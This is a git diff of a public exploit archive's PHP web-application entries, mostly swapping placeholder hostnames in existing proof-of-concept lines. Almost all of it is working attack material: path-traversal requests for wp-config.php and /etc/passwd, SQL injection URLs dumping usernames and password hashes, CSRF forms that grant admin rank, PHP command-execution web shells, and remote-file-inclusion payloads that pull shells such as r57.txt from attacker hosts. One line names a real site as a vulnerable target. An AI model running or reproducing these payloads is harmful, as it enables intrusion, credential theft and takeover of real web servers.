attacker-supplied HTML and script Wordfence Security Plugin 5.2.3 is vulnerable; other versions may also be affected -http://www.example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php \ No newline at end of file +http://www.example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39332.txt b/platforms/php/webapps/39332.txt index 001dd97b1..8ea60a5e0 100755 --- a/platforms/php/webapps/39332.txt +++ b/platforms/php/webapps/39332.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to download backup files that contain sensiti Wiser 2.10 is vulnerable; other versions may also be affected. -http://www.example.com/voip/sipserver/class/baixarBackup.php \ No newline at end of file +http://www.example.com/voip/sipserver/class/baixarBackup.php \ No newline at end of file diff --git a/platforms/php/webapps/39333.html b/platforms/php/webapps/39333.html index 9c2f2e8b7..a90db7b08 100755 --- a/platforms/php/webapps/39333.html +++ b/platforms/php/webapps/39333.html @@ -6,7 +6,7 @@ Exploiting this vulnerability would allow an attacker to obtain potentially sens <html> <body> -<form action="http://www.server/wp-content/themes/elegance/lib/scripts/dl-skin.php" method="post"> +<form action="http://www.site.com/wp-content/themes/elegance/lib/scripts/dl-skin.php" method="post"> Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br> <input type="submit"> </form> diff --git a/platforms/php/webapps/39384.txt b/platforms/php/webapps/39384.txt index 532fa5e12..ee7d3eebf 100755 --- a/platforms/php/webapps/39384.txt +++ b/platforms/php/webapps/39384.txt @@ -12,7 +12,7 @@ https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 [HTML CODE ] -<form id="form1" name="form1" method="post" action="http://server/wp-admin/plugins.php?page=simple-add-pages-or-posts%2Fsimple_add_pages_or_posts.php" +<form id="form1" name="form1" method="post" action="http://site.com/wp-admin/plugins.php?page=simple-add-pages-or-posts%2Fsimple_add_pages_or_posts.php" <select name="postorpage"> <option value="page">Page</option> <option value="post">Post</option> diff --git a/platforms/php/webapps/3941.txt b/platforms/php/webapps/3941.txt index b6eaa6646..222430e02 100755 --- a/platforms/php/webapps/3941.txt +++ b/platforms/php/webapps/3941.txt @@ -55,10 +55,10 @@ Cyber-warrior.org # #BUG1: # -#Example1:http://server/path/admin/inc/change_action.php?format_menue=[[Sh3LL +#Example1:http://site.com/path/admin/inc/change_action.php?format_menue=[[Sh3LL Script]] # -#Example1:http://server/path/admin/inc/add.php?format_menue=[[Sh3LL +#Example1:http://site.com/path/admin/inc/add.php?format_menue=[[Sh3LL Script]] # # diff --git a/platforms/php/webapps/3946.txt b/platforms/php/webapps/3946.txt index bf5917382..c57ce5b35 100755 --- a/platforms/php/webapps/3946.txt +++ b/platforms/php/webapps/3946.txt @@ -35,7 +35,7 @@ http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz ---------------------------------[ Vuln Code ]-------------------------------- -[geeklog path]/system/ImageImageMagick.php?glConf[path_system]=http://www.badserver/shell.txt? +[geeklog path]/system/ImageImageMagick.php?glConf[path_system]=http://www.badsite.com/shell.txt? -----------------------------------[ Issue ]---------------------------------- diff --git a/platforms/php/webapps/39478.txt b/platforms/php/webapps/39478.txt index 5776261e7..5d70cbe09 100755 --- a/platforms/php/webapps/39478.txt +++ b/platforms/php/webapps/39478.txt @@ -21,13 +21,13 @@ Based on a code review done on the product , this product doesn't have any obser PoC 1: ----- -https://www.server/mod/system/report_download.php?report_filename=/etc/passwd +https://www.site.com/mod/system/report_download.php?report_filename=/etc/passwd or -view-source:https://www.server/mod/system/report_download.php?report_filename=../../../../../../../../../../../../etc/passwd +view-source:https://www.site.com/mod/system/report_download.php?report_filename=../../../../../../../../../../../../etc/passwd PoC 2 : [login authentication required] ------ -https://www.server/mod/generic/download_config_file.php?config_file=../../../../../../../../../../../../../../etc/hosts +https://www.site.com/mod/generic/download_config_file.php?config_file=../../../../../../../../../../../../../../etc/hosts #EOF \ No newline at end of file diff --git a/platforms/php/webapps/3948.txt b/platforms/php/webapps/3948.txt index 77e6532ae..92b3f9ab2 100755 --- a/platforms/php/webapps/3948.txt +++ b/platforms/php/webapps/3948.txt @@ -10,7 +10,7 @@ # #BUG1: # -#Example1:http://server/path/template_csv.php?rInfo[content]=[[Sh3LL Script]] +#Example1:http://site.com/path/template_csv.php?rInfo[content]=[[Sh3LL Script]] # #Script Download ############################################################################################## diff --git a/platforms/php/webapps/3953.txt b/platforms/php/webapps/3953.txt index 798b63acd..b5f35edf7 100755 --- a/platforms/php/webapps/3953.txt +++ b/platforms/php/webapps/3953.txt @@ -16,7 +16,7 @@ # #BUG1: # -#Example1:http://server/path/_connect.php?root=[[Sh3LL Script]] +#Example1:http://site.com/path/_connect.php?root=[[Sh3LL Script]] # #ERROR2:modules/startup.php # @@ -27,7 +27,7 @@ # #BUG1: # -#Example1:http://server/path/modules/startup.php?root=[[Sh3LL Script]] +#Example1:http://site.com/path/modules/startup.php?root=[[Sh3LL Script]] # #Script Download ############################################################################################## diff --git a/platforms/php/webapps/39534.html b/platforms/php/webapps/39534.html index 183505f25..b8a220734 100755 --- a/platforms/php/webapps/39534.html +++ b/platforms/php/webapps/39534.html @@ -13,8 +13,8 @@ There is no token check when changing a current user rank thus allowing CSRF to PHP Shell Upload ----------------------- -After CSRF has taken place you can login to your account like normal. Once logged in click "My Profile>Administrator options>Modify Current Theme" or use server/members/console.php?cID=61. You can then insert the PHP code of your choosing into Footer. In order to add or edit code you are required to provide a special Admin Key that was defined during install. The key isn't needed as the check is faulty and can be left blank. Just insert your code and click Edit Theme. It will say the key was incorrect, but the PHP code is still inserted. -e.g. <?php $cmd=$_REQUEST['cmd']; system($cmd); ?> put into the footer code. server/themes/destiny/_footer.php?cmd=dir for command execution. +After CSRF has taken place you can login to your account like normal. Once logged in click "My Profile>Administrator options>Modify Current Theme" or use site.com/members/console.php?cID=61. You can then insert the PHP code of your choosing into Footer. In order to add or edit code you are required to provide a special Admin Key that was defined during install. The key isn't needed as the check is faulty and can be left blank. Just insert your code and click Edit Theme. It will say the key was incorrect, but the PHP code is still inserted. +e.g. <?php $cmd=$_REQUEST['cmd']; system($cmd); ?> put into the footer code. site.com/themes/destiny/_footer.php?cmd=dir for command execution. Timeline: 2/6/2016 - Dev notified of vulnerabilities @@ -28,7 +28,7 @@ You take responsibility for your own actions. For educational and testing purpos --> <html> - <form action="http://server/clan/members/console.php?cID=8" method="POST"> + <form action="http://site.com/clan/members/console.php?cID=8" method="POST"> <input type="hidden" name="member" value="4"/> <!-- User ID to be granted Admin --> <input type="hidden" name="newrank" value="41"/> <!-- 41 is Commander/Admin --> <input type="hidden" name="reason" value=""/> @@ -37,6 +37,6 @@ You take responsibility for your own actions. For educational and testing purpos </form> <script> document.createElement('form').submit.call(document.forms[0]); - window.location.href = "http://server/clan/members/"; <!-- Redirect admin after CSRF takes place to avoid pop-up notification --> + window.location.href = "http://site.com/clan/members/"; <!-- Redirect admin after CSRF takes place to avoid pop-up notification --> </script> </html> \ No newline at end of file diff --git a/platforms/php/webapps/39586.txt b/platforms/php/webapps/39586.txt index 727e0ae75..71721df18 100755 --- a/platforms/php/webapps/39586.txt +++ b/platforms/php/webapps/39586.txt @@ -58,7 +58,7 @@ A simple exploit below will replace full path to sendmail program with the follo <input type="hidden" name="mail_charset" value="utf-8"> <input type="hidden" name="mail_protocol" value="sendmail"> <input type="hidden" name="mail_useragent" value="pg-mailer"> -<input type="hidden" name="mail_from_email" value="admin@server"> +<input type="hidden" name="mail_from_email" value="admin@site.com"> <input type="hidden" name="mail_from_name" value="PgSoftware"> <input type="hidden" name="" value=""> <input type="hidden" name="btn_save" value="Save"> diff --git a/platforms/php/webapps/39590.txt b/platforms/php/webapps/39590.txt index 91d95fb46..b8250d1fe 100755 --- a/platforms/php/webapps/39590.txt +++ b/platforms/php/webapps/39590.txt @@ -18,4 +18,4 @@ # T3NZOG4N (t3nz0g4n@yahoo.com) # Homepage : persian-team.ir # Greetz : Milad_Hacking & FireKernel And You -###################### \ No newline at end of file +###################### \ No newline at end of file diff --git a/platforms/php/webapps/39593.txt b/platforms/php/webapps/39593.txt index 8cf660e42..d10138371 100755 --- a/platforms/php/webapps/39593.txt +++ b/platforms/php/webapps/39593.txt @@ -24,11 +24,11 @@ # POC: -curl http://example.server/?mdocs-img-preview=../../../wp-config.php +curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php -o example-wp-config.php or if the plugin is not installed in the root folder of wordpress, for example in the folder "mdocs-posts": -curl http://example.server/mdocs-posts/?mdocs-img-preview=../../../wp-config.php +curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php -o example-wp-config.php diff --git a/platforms/php/webapps/39682.txt b/platforms/php/webapps/39682.txt index 0ad488bd7..c21592497 100755 --- a/platforms/php/webapps/39682.txt +++ b/platforms/php/webapps/39682.txt @@ -88,7 +88,7 @@ PAYLOAD XSS5 (Reflected) URL -http://localhost/rockmongo/index.php?action=servermand&db=test +http://localhost/rockmongo/index.php?action=server.command&db=test METHOD Post @@ -204,7 +204,7 @@ PAYLOAD HTML Injection4 URL -http://localhost/rockmongo/index.php?action=servermand&db=test +http://localhost/rockmongo/index.php?action=server.command&db=test METHOD Post @@ -363,7 +363,7 @@ Command Execute <html> <body> <form action=" -http://localhost/rockmongo/index.php?action=servermand&" method="POST"> +http://localhost/rockmongo/index.php?action=server.command&" method="POST"> <input type="text" name="command" value="{ listCommands: 1 }"/> <input type="text" name="db" value="admin"/> <input type="text" name="format" value="json"/> diff --git a/platforms/php/webapps/39855.txt b/platforms/php/webapps/39855.txt index ba9c4eae0..6befccaff 100755 --- a/platforms/php/webapps/39855.txt +++ b/platforms/php/webapps/39855.txt @@ -83,4 +83,4 @@ undefined http://localhost/USERS/index.php Parameters: title, html, headline, size, youtube_id, address, latitude, longitude, user_first_name, user_last_name, agency, user_phone, user_email, website (POST) -Payload: " onmousemove=alert(1) \ No newline at end of file +Payload: " onmousemove=alert(1) \ No newline at end of file diff --git a/platforms/php/webapps/39953.txt b/platforms/php/webapps/39953.txt index 410f9eb3a..488b587a7 100755 --- a/platforms/php/webapps/39953.txt +++ b/platforms/php/webapps/39953.txt @@ -1,4 +1,4 @@ -# Exploit Title: Joomla com_enmasse - SQL Injection + # Exploit Title: Joomla com_enmasse - SQL Injection # Author: [ Hamed Izadi ] diff --git a/platforms/php/webapps/39965.txt b/platforms/php/webapps/39965.txt index 29c2891cd..ddc34f156 100755 --- a/platforms/php/webapps/39965.txt +++ b/platforms/php/webapps/39965.txt @@ -23,4 +23,4 @@ http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,% Execute a php shellcode: -http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackerserver/r57.txt%22%29%29;fclose%28$z%29;%27 +http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27 diff --git a/platforms/php/webapps/39971.php b/platforms/php/webapps/39971.php index 16b046e5b..da727bc42 100755 --- a/platforms/php/webapps/39971.php +++ b/platforms/php/webapps/39971.php @@ -81,7 +81,7 @@ function printInfo(){ "[*] server is the server with the correct path to phpATM\n". "[*] username and password are the credentials for the user with 'NORMAL USER' privileges\n". "[*] cmd is the command you want to execute (OPTIONAL)\n". - "[*] e.g. : php ".$argv[0]." http://server/phpATM/ test test\n"; + "[*] e.g. : php ".$argv[0]." http://site.com/phpATM/ test test\n"; echo $intro; } diff --git a/platforms/php/webapps/40300.py b/platforms/php/webapps/40300.py index 8114b80fc..92406ba77 100755 --- a/platforms/php/webapps/40300.py +++ b/platforms/php/webapps/40300.py @@ -56,3 +56,4 @@ for x in range(0, 300): sys.exit(0) print "Sorry, I did not find anything" + \ No newline at end of file diff --git a/platforms/php/webapps/4034.txt b/platforms/php/webapps/4034.txt index ea61f18ee..f22113428 100755 --- a/platforms/php/webapps/4034.txt +++ b/platforms/php/webapps/4034.txt @@ -11,21 +11,21 @@ + include ($scdir."admin/config.inc.php"); + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + BUG + -+ server/path/acrion.php?scdir=[3vil script] + ++ www.target.com/path/acrion.php?scdir=[3vil script] + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ERROR [2]; subs.php? + + include $scdir."admin/config.inc.php"; + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + BUG + -+ server/path/subs.php?scdir=[3vil script] + ++ www.target.com/path/subs.php?scdir=[3vil script] + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ERROR [3]; unsubs.php? + + include $scdir."admin/config.inc.php"; + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + BUG + -+ server/path/unsubs.php?scdir=[3vil script] + ++ www.target.com/path/unsubs.php?scdir=[3vil script] + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +DORK:( + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ diff --git a/platforms/php/webapps/4035.txt b/platforms/php/webapps/4035.txt index 293eeeeb2..1c0b8faf9 100755 --- a/platforms/php/webapps/4035.txt +++ b/platforms/php/webapps/4035.txt @@ -22,12 +22,12 @@ And the variable $epi is not verified... Exploit: -------- Admin username -http://server/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users +http://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users MD5 hash password: -http://server/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users +http://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users e-Mail adress: -http://server/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users +http://site.com/comic_paht/index.php?epi=-1 UNION SELECT email,1,1 from users # milw0rm.com [2007-06-05] diff --git a/platforms/php/webapps/4063.txt b/platforms/php/webapps/4063.txt index 0a81e5500..ec2deb116 100755 --- a/platforms/php/webapps/4063.txt +++ b/platforms/php/webapps/4063.txt @@ -6,7 +6,7 @@ source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent_1_5.zip Discovered by Sp[L]o1T from hTTP://hacking.3Xforum.Ro ~~~~~~~~~~~~~~~~~~~~~~ BUG: -http://www.server/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt? +http://www.site.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt? Vuln site: http://www.wiscpsa.org/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=http://www.ekin0x.com/r57.txt? diff --git a/platforms/php/webapps/4068.txt b/platforms/php/webapps/4068.txt index 513a4fbc0..7f72abcf2 100755 --- a/platforms/php/webapps/4068.txt +++ b/platforms/php/webapps/4068.txt @@ -6,7 +6,7 @@ source : http://prdownloads.sourceforge.net/xoops/xoops2-mod_xfsection-107.zip Discovered by Sp[L]o1T from hTTp://hacking.3Xforum.Ro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Bug : http://www.server/modules/xfsection/modify.php?dir_module=evilcode.txt? +Bug : http://www.site.com/modules/xfsection/modify.php?dir_module=evilcode.txt? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/platforms/php/webapps/4075.txt b/platforms/php/webapps/4075.txt index 9367cb706..a1ab386a3 100755 --- a/platforms/php/webapps/4075.txt +++ b/platforms/php/webapps/4075.txt @@ -10,7 +10,7 @@ Bug : in bodyTemplate.php " <? include ( $serverPath . "includes/form.php" Down : http://www.yfma.com/count/click.php?id=1 Site : http://yfma.com/yfs/ -Exploit : http://server/script_path/templates/2blue/bodyTemplate.php?serverPath=Sh3ll ? +Exploit : http://site.com/script_path/templates/2blue/bodyTemplate.php?serverPath=Sh3ll ? Note : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda] diff --git a/platforms/php/webapps/4079.txt b/platforms/php/webapps/4079.txt index 49127bb06..ba5ddb016 100755 --- a/platforms/php/webapps/4079.txt +++ b/platforms/php/webapps/4079.txt @@ -10,7 +10,7 @@ Script Site : http://www.ultrize.com/minibill/index.php?page=download File: /crontab/run_billing.php <= $config['include_dir'] ======================================================== Exploit: -server/crontab/run_billing.php?config[include_dir]=Evil-script.txt? +site.com/crontab/run_billing.php?config[include_dir]=Evil-script.txt? ======================================================= greets to : www.islam-attack.com ======================================================= diff --git a/platforms/php/webapps/4086.pl b/platforms/php/webapps/4086.pl index 0959d855d..f12ca0e91 100755 --- a/platforms/php/webapps/4086.pl +++ b/platforms/php/webapps/4086.pl @@ -7,7 +7,7 @@ # Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz # # Exploit: -# http://server/[path]/lib/language.php?_LIB_DIR=[Evil_Script] +# http://site.com/[path]/lib/language.php?_LIB_DIR=[Evil_Script] # # (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net> # @@ -43,8 +43,8 @@ $path = $path."/lib/language.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/4089.pl b/platforms/php/webapps/4089.pl index 05f0ca400..2ecf33fe1 100755 --- a/platforms/php/webapps/4089.pl +++ b/platforms/php/webapps/4089.pl @@ -9,7 +9,7 @@ # # Exploit: # -http://server/[path]/load_lang.php?_SERWEB[serwebdir]=[Evil_Script] +http://site.com/[path]/load_lang.php?_SERWEB[serwebdir]=[Evil_Script] # # (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net> # @@ -53,9 +53,9 @@ $path = $path."/load_lang.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; print "Example : perl $0 http://127.0.0.1 -http://server/cmd.txt\n\n"; +http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/4090.pl b/platforms/php/webapps/4090.pl index 794c7d18e..1c2564c3e 100755 --- a/platforms/php/webapps/4090.pl +++ b/platforms/php/webapps/4090.pl @@ -5,7 +5,7 @@ # Url: http://switch.dl.sourceforge.net/sourceforge/powl/powl_ontowiki-0.94.zip # # Exploit: -# http://server/[path]/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=[Evil_Script>:] +# http://site.com/[path]/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=[Evil_Script>:] # # (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net> # @@ -42,8 +42,8 @@ $path = $path."/plugins/widgets/htmledit/htmledit.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/4092.txt b/platforms/php/webapps/4092.txt index 85b130b07..2f9487a24 100755 --- a/platforms/php/webapps/4092.txt +++ b/platforms/php/webapps/4092.txt @@ -110,10 +110,10 @@ I wont past every line of this code , because EVERY parameter is vulnerable to s exemple of exploitation : -1) http://server/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/* +1) http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/* ==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM categories WHERE cat_id=username@mail.com ) -2)http://server/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/* +2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/* ==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT) // there's absolutly no encryption in this script for stored password , or sensitive data ... diff --git a/platforms/php/webapps/4095.txt b/platforms/php/webapps/4095.txt index 81a3f82a6..b97a260d2 100755 --- a/platforms/php/webapps/4095.txt +++ b/platforms/php/webapps/4095.txt @@ -18,15 +18,15 @@ DORK: N/A EXPLOITS: -EXPLOIT 1: http://server/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users -EXPLOIT 2: http://server/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users +EXPLOIT 1: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users +EXPLOIT 2: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users EXAMPLES: EXAMPLE ON DEMO: http://www.wscreator.com/pharma1/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users NOTE/TIP: Most sites will have diffrent table prefix, so table pharma1_admin_users probarly wont exist, to get the prefix -follow these steps, goto "http://server/index.php?page='" this should cause a mysql error and you will be able to +follow these steps, goto "http://server.com/index.php?page='" this should cause a mysql error and you will be able to see the mysql query being used for the page variable. Simple replace the prefix from the error with then one in the injection if you cant do that then dont use the exploit. diff --git a/platforms/php/webapps/4097.txt b/platforms/php/webapps/4097.txt index 35d474e1f..92bac274d 100755 --- a/platforms/php/webapps/4097.txt +++ b/platforms/php/webapps/4097.txt @@ -10,7 +10,7 @@ zip include($dir_edge_lang.'cal_lang.inc.php'); #exploit: -http://www.server/[path]/cal.func.php?dir_edge_lang=[SHELL] +http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL] #Thanks: str0ke diff --git a/platforms/php/webapps/4100.txt b/platforms/php/webapps/4100.txt index fb03d7c79..283c8d593 100755 --- a/platforms/php/webapps/4100.txt +++ b/platforms/php/webapps/4100.txt @@ -35,9 +35,9 @@ injection sql exemple of exploitation : -1)http://server/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,@@version/* +1)http://site.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,@@version/* -2)http://server/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,LOAD_FILE(0x2F6574632F706173737764)/* +2)http://site.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,LOAD_FILE(0x2F6574632F706173737764)/* --> load some file as /etc/passwd or /path/www/stats/Php/config_sql.php ?lang= is also vulnerable to xss attacks, and as Hamid Ebadi has mention $lang is also vulnerable to directory transversal diff --git a/platforms/php/webapps/4103.txt b/platforms/php/webapps/4103.txt index a0ef2e150..3147baff4 100755 --- a/platforms/php/webapps/4103.txt +++ b/platforms/php/webapps/4103.txt @@ -20,7 +20,7 @@ DORK: Powered by Bug Software intext:Your Cart Contains EXPLOITS: -EXPLOIT 1: http://www.server/BugMallPAth/index.php?msgs=[HTML, JAVASCRIPT] +EXPLOIT 1: http://www.site.com/BugMallPAth/index.php?msgs=[HTML, JAVASCRIPT] EXPLOIT 2: The basic search box is vulnerable to sql injection, check examples for detail. EXPLOIT 3: The script seems to have a default login, username:demo password: demo, we have tried this on several sites and sucsefully logged in. diff --git a/platforms/php/webapps/4104.txt b/platforms/php/webapps/4104.txt index cdabcdc2a..2e00bcb69 100755 --- a/platforms/php/webapps/4104.txt +++ b/platforms/php/webapps/4104.txt @@ -17,7 +17,7 @@ * http://[Taget]/[Path]/member.php?page=comments&member=MEMBERNAME&newsid=-1%20union%20select%200,1,pass,3,4,5,6,7%20from%20blog_users/* * * -* [~] Exploit Rfi...: After Cracked md5 admin you must login server/admin/ than our rfi can work +* [~] Exploit Rfi...: After Cracked md5 admin you must login site.com/admin/ than our rfi can work * * http://[Taget]/[Path]/admin/index.php?pg=Sh3ll? +_______________________________________________________________________________________________________________________+ diff --git a/platforms/php/webapps/4107.txt b/platforms/php/webapps/4107.txt index 26fa77a99..83d1d6e6f 100755 --- a/platforms/php/webapps/4107.txt +++ b/platforms/php/webapps/4107.txt @@ -11,6 +11,6 @@ ######################################## #PoC -http://www.server/[path]/index.php?name=pagetool_news&news_id=-1/**/union/**/all/**/select/**/null,/**/null,/**/CONCAT(0x557365726E346D653A20,/**/username),/**/CONCAT(0x50617373773072643A20,/**/passwd),/**/null/**/from/**/pt_core_users/**/where/**/user_id=1 +http://www.site.com/[path]/index.php?name=pagetool_news&news_id=-1/**/union/**/all/**/select/**/null,/**/null,/**/CONCAT(0x557365726E346D653A20,/**/username),/**/CONCAT(0x50617373773072643A20,/**/passwd),/**/null/**/from/**/pt_core_users/**/where/**/user_id=1 # milw0rm.com [2007-06-25] diff --git a/platforms/php/webapps/4108.txt b/platforms/php/webapps/4108.txt index 78d29d055..6fdd136a3 100755 --- a/platforms/php/webapps/4108.txt +++ b/platforms/php/webapps/4108.txt @@ -14,7 +14,7 @@ DORK: intext:"Powered by eDocStore" EXPLOITS: -EXPLOIT 1: http://server/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null +EXPLOIT 1: http://www.server.com/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null EXAMPLES: diff --git a/platforms/php/webapps/4112.txt b/platforms/php/webapps/4112.txt index 2cd5a88e2..bae496628 100755 --- a/platforms/php/webapps/4112.txt +++ b/platforms/php/webapps/4112.txt @@ -21,8 +21,8 @@ #"et utilise le squelette EVA-Web" -3.0 -2.3 # #Spl0it ######################################################################################### -#www.victim.com/[path to webapp]/eva/index.php3?aide=http://www.urserver/shell.txt? -#www.victim.com/[path to webapp]/eva/index.php3?perso=http://www.urserver/shell.txt? +#www.victim.com/[path to webapp]/eva/index.php3?aide=http://www.ursite.com/shell.txt? +#www.victim.com/[path to webapp]/eva/index.php3?perso=http://www.ursite.com/shell.txt? # #vuln discovered by ############################################################################### #MurderSkillz diff --git a/platforms/php/webapps/4114.txt b/platforms/php/webapps/4114.txt index 460700efc..67040a5e1 100755 --- a/platforms/php/webapps/4114.txt +++ b/platforms/php/webapps/4114.txt @@ -19,7 +19,7 @@ DESCRIPTION: With this vuln you can display every user:hash in the database EXPLOITS: -EXPLOIT 1: http://server/SCRIPT_PATH/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users +EXPLOIT 1: http://www.server.com/SCRIPT_PATH/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users diff --git a/platforms/php/webapps/4115.txt b/platforms/php/webapps/4115.txt index 7924a5acc..a1ed562c1 100755 --- a/platforms/php/webapps/4115.txt +++ b/platforms/php/webapps/4115.txt @@ -10,9 +10,9 @@ #exploits: - http://www.server/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00 - http://www.server/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00 - http://www.server/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00 + http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00 + http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00 + http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00 #thanks:str0ke diff --git a/platforms/php/webapps/4116.txt b/platforms/php/webapps/4116.txt index e7e0d4d9d..d0f18025e 100755 --- a/platforms/php/webapps/4116.txt +++ b/platforms/php/webapps/4116.txt @@ -9,7 +9,7 @@ include("language/$strLang/qtf_lang_reg.inc"); #exploit: - http://www.server/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00 + http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00 #thanks:str0ke diff --git a/platforms/php/webapps/4124.txt b/platforms/php/webapps/4124.txt index bf128ebdc..41d4aaf34 100755 --- a/platforms/php/webapps/4124.txt +++ b/platforms/php/webapps/4124.txt @@ -7,7 +7,7 @@ #google dork:"2005 www.frank-karau.de" | "2006 www.frank-karau.de" #exploit: -http://www.server/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd -http://www.server/[path]/bottom.php?style=../../../../../../.././etc/passwd%00 